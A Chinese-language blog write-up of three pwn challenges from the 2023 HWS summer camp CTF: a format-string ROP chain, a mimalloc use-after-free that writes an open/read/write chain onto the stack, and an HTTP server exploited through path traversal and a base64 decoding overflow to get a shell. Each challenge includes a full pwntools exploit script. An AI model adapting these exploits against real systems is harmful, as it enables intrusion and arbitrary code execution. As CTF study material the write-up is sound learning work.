2023 HWS 夏令营CTF WP

T1d 2023-7-26 1,114 7/26

好久没水博客了,加上这次又忙着实训没好好打,赛后复现了一下,写个WP水一水(bushi)🤣🤣🤣

fmt

最常规的一题,第一次fmt泄露基地址,第二次在栈上布置ROP链,修改rbp及返回地址栈迁移执行ROP即可

from pwn import *

p = process('./fmt1')
elf = ELF('./fmt1')
lib = elf.libc

payload = b'%10$p%17$p%18$p'
p.recvuntil(b':')
# gdb.attach(p, 'b printf')
p.sendline(payload)

p.recvuntil(b'0x')
base_addr = int(p.recv(12), 16) - lib.sym['_IO_2_1_stderr_']
print(hex(base_addr))
system_addr = base_addr + lib.sym['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))
pop_rdi = base_addr + 0x0000000000023b6a

p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
print(hex(canary))

p.recvuntil(b'0x')
stack_addr_1 = int(p.recv(12), 16) - 0x10
stack_addr_2 = stack_addr_1 + 8

offset = stack_addr_1 & 0xff
offset = offset - 0x38
if offset > 0 and offset < 196:
    payload = (b'%' + str(offset).encode() + b'c%10$hhn%' + str(196 - offset).encode() + b'c%11$hhn').ljust(0x20, b'a') + p64(stack_addr_1) + p64(stack_addr_2) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
    gdb.attach(p, 'b printf')
    p.sendline(payload)
    p.interactive()

mi

看起来很简单,一个开了沙盒的uaf堆题,但是事实上这里用到了mimalloc,是微软开源的一个malloc实现,其实验数据表明相比于jemalloc、tcmalloc等实现大约快了10%。其通过将空闲块列表(Free List)进行分片(Sharding)来保证分配的内存有更好的空间的局部性,从而提升性能。这些都是废话,直接看看漏洞利用吧。

先说一个巨坑的地方,这个mimalloc库不同版本差距太大了,一开始博主换其中一个库失败了,懒博主就想着直接打最新版库,谁知道看了半天都找不出洞直接自闭,这里给一个强制换库的patchelf指令:

patchelf --add-needed ./libpthread.so.0 pwn

在换好了题目提供的各版本库之后我们开始调试,首先博主很懒加上不同版本的mimalloc函数方法好像确实不太一样这里就不去啃源码和官方说明了,而且传统的堆调试指令肯定也用不了了,我们直接vmmap看看现在分配的空间,肉眼可见在最前面多出来一部分就是现在的heap地址,我们先创建一些不同大小的堆块试一试,查看堆块地址我们可以发现,不同大小的堆块会被分配到不同页上,同时我们直接从堆空间起始地址开始查看能看见当我们free之后在整个堆的开头部分会出现一些堆链,姑且称它为mi_bin,在mi_bin附近能找到一条mi_heap指向tld_main(和博主好有缘分的名字哈哈哈)的libc链子,再而且这个地址后三字节都是固定的,这下简单了,直接uaf劫持这条libc链子到mi_bin上即可。这里需要注意一点,通过不断测试我们可以发现mimalloc中不会先去mi_bin中找空闲堆块,而是先分配满该页,直到该页没有空闲部分才会去获取mi_bin中的堆块。

在搞清楚这些之后我们再考虑利用手法,一般而言我们会打malloc_hook或者free_hook,但是博主顺着找了找发现mi_malloc和mi_free里面并没有什么好用的hook(当然不排除是博主太菜没看见),又考虑去打exit_hook但是这是231的97版本博主失败了,于是结合这个malloc检测实在薄弱博主选择直接劫持堆分配到栈上去写orw获取到了flag,这里又遇到一个很奇怪的问题,environ不可写,因此我们在tls里面翻找到了一个记录了一个栈地址的地方去泄露的。

exp见下:

from pwn import *
context.terminal = ['tmux', 'sp', '-h']
p = process('./pwn')
elf = ELF('./pwn')
lib = elf.libc

def choice(id):
    p.recvuntil(b'>>')
    p.sendline(id)
    
def add(size, mess):
    choice(b'1')
    p.recvuntil(b':')
    p.sendline(str(int(size)).encode())
    p.recvuntil(b':')
    p.send(mess)
    
def delete(id):
    choice(b'2')
    p.recvuntil(b':')
    p.sendline(id)
    
def edit(id, mess):
    choice(b'3')
    p.recvuntil(b':')
    p.sendline(id)
    p.recvuntil(b':')
    p.send(mess)
    
def show(id):
    choice(b'4')
    p.recvuntil(b':')
    p.sendline(id)
    
add(0x500, b'aaaa')
delete(b'0')
add(0x500, b'bbbb')
delete(b'1')
add(0x500, b'cccc')
delete(b'2')

edit(b'2', b'\x40\x02\x00')
add(0x500, b'aaaa')
add(0x500, b'a')
show(b'4')
base_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - 0x214861

environ_addr = base_addr - 9664 - 8
open_addr = base_addr + lib.sym['open']
read_addr = base_addr + lib.sym['read']
write_addr = base_addr + lib.sym['write']
pop_rdi = base_addr + 0x0000000000023b6a
pop_rsi = base_addr + 0x000000000002601f
pop_rdx = base_addr + 0x0000000000142c92

add(0x400, b'a')
delete(b'5')
add(0x400, b'a')
delete(b'6')
add(0x400, b'a')
delete(b'7')
add(0x400, b'a')
delete(b'8')

edit(b'8', p64(environ_addr))
add(0x400, b'a')
add(0x400, b'a' * 8)
show(b'10')

stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - 0x50
print(hex(stack_addr))

orw = b'./flag\00\00'
orw += p64(pop_rdi) + p64(stack_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack_addr + 0x100) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack_addr + 0x100) + p64(pop_rdx) + p64(0x100) + p64(write_addr)

add(0x300, b'a')
delete(b'11')
add(0x300, b'a')
delete(b'12')
add(0x300, b'a')
delete(b'13')
add(0x300, b'a')
delete(b'14')
add(0x300, b'a')
delete(b'15')

edit(b'15', p64(stack_addr))
add(0x300, b'a')
add(0x300, orw)

p.interactive()

httpd

博主第一次做http pwn,边调试边做的,太痛苦了🤣🤣🤣🤣

首先我们先找到漏洞点:在2993函数中有一个execl函数,看起来就像是exec函数中的,去问问万能的GPT,它给出了这样的利用:

execl("/bin/ls", "ls", "-l", (char *)0);

那我们选择直接执行execl("/bin/sh");,接下来我们开始倒着往前推。

这里参数是直接传进来的,在这之前会被在前面加上htdocs,那如果我们传入的字符串是/bin/sh,那就会被改成htdocs/bin/sh,显然路径错误,这里我们如果在本地复现需要先在题目文件路径下建立一个htdocs文件夹(否则会在3720函数检测文件失败),因此目前的路径变成了/pwd/htdocs,pwd是你当前路径,因此我们可以添加../来回退到根目录,最后根据博主的路径,就是/../../../../../../../bin/sh

再向前推,字符串是存在haystack中的,这里我们要进入2993函数要先确保v3和v2都是1,对于v3,保证方法是GET或者POST就好,这里如果检测到?还会将其置为空字符,而v2需要进入到前面对于GET方法的检测。

我们先给出GET传入的大致格式:

GET xxxx
Authorization: Basic xxxxx

按理说第一行的字符串除去GET会被存入haystack,但是这里会有一个对于..的检测,因此我们不能在这里写入字符串,对于第二行的字符串后半部分,需要我们传入base64加密后的字符串,这里解密字符串会造成溢出,可以将我们需要的东西写入haystack。接下来还有一次验证(这里前面其实还有一个,验证不通过会把v2置0,但是由于第二次验证通过又会置1就可以不管他了),需要在haystack末尾包含.html字符串,但是如果传入字符串为/../../../../../../../bin/sh.html\00会被文件检测pass掉,这里要用到后面那个?置空,我们只需要如此构造就好:/../../../../../../../bin/sh?.html\00

因此有如下exp:

from pwn import *

context.log_level = 'debug'
r = remote('127.0.0.1', 4000)

posts = b'GET\n'
posts += b'Authorization: Basic ' + base64.b64encode(64 * b'a' + b'/../../../../../../../bin/sh?.html\00')
r.sendline(posts)
r.sendline(b'\n')
r.interactive()

后记

感觉题目难度不高,但是mimalloc还是比较新颖,http也是第一次接触,还是学到了不少知识的🥰🥰🥰🥰🥰🥰

- THE END -
Tag:

T1d

7月11日18:34

最后修改:2024年7月11日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论